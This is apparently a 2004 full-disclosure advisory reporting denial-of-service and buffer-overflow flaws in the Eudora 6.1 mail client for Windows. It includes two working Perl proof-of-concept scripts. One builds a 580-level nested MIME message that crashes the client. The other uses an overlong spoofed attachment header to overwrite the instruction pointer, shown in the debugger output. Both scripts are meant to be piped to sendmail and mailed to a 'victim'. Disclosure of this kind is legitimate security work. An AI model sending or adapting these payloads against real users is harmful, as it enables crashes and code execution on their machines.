eudora61.pl

`Eudora 6.1 on Windows is evil - have tested "Light Mode" (free) only so  
far, do not know if "Sponsored Mode" or "Paid Mode" would be any different.  
(Do not use: stay away from Eudora, or maybe use version 6.0.3.)  
  
---  
  
Attachment spoof, LaunchProtect:  
  
http://lists.netsys.com/pipermail/full-disclosure/2004-March/018897.html  
  
Works (i.e. broken) same as the 6.0.3 version.  
  
---  
  
Nested MIME DoS:  
  
http://lists.netsys.com/pipermail/full-disclosure/2004-April/020075.html  
  
Works "better" than the 6.0.3 version, crashes at 580 levels:  
  
#!/usr/bin/perl --  
print "From: me\n";  
print "To: you\n";  
print "Subject: nested multipart test\n";  
print "Mime-Version: 1.0\n";  
print "X-Use: Pipe the output of this script into: sendmail -i victim\n";  
&nest(0);  
print "\n";  
#  
sub nest {  
my ($x) = @_;  
my $b = sprintf("bndry%04d",$x);  
print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";  
print "--$b\n";  
print "Content-Type: text/plain\n\n";  
print "Level $x\n\n";  
# No problem for 570, but crash for 580 deep nesting:  
#   
# (444.458): Stack overflow - code c00000fd (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=00033494 edi=62000000  
# eip=77f862ed esp=00032afc ebp=0003339c iopl=0 nv up ei pl nz na po nc  
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206  
# ntdll!LdrLoadAlternateResourceModule+9:  
# 77f862ed 53 push ebx  
if ($x < 580) {  
print "--$b\n";  
&nest($x+1);  
}  
print "--$b\n";  
print "Content-Type: text/plain\n\n";  
print "Final $x\n";  
print "--$b--\n\n";  
}  
  
---  
  
"Long attachment spoof" execute-any-code bug:  
  
http://lists.netsys.com/pipermail/full-disclosure/2003-September/010029.html  
  
from version 6.0 and previous (but apparently fixed in 6.0.1 and 6.0.3) is  
back:  
  
#!/usr/bin/perl --  
print "From: me\n";  
print "To: you\n";  
print "Subject: Eudora 6.1 buffer overflow demo\n";  
print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";  
print "Long spoofed attachments cause an exploitable buffer overflow:\n";  
# (298.40c): Access violation - code c0000005 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4  
# eip=41414141 esp=0012f65c ebp=41414141 iopl=0 nv up ei ng nz ac pe cy  
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293  
# 41414141 ?? ???  
print "Attachment Converted\r: ", "A"x300,"\n\n";  
  
---  
  
Cheers,  
  
Paul Szabo - [email protected] http://www.maths.usyd.edu.au:8000/u/psz/  
School of Mathematics and Statistics University of Sydney 2006 Australia  
`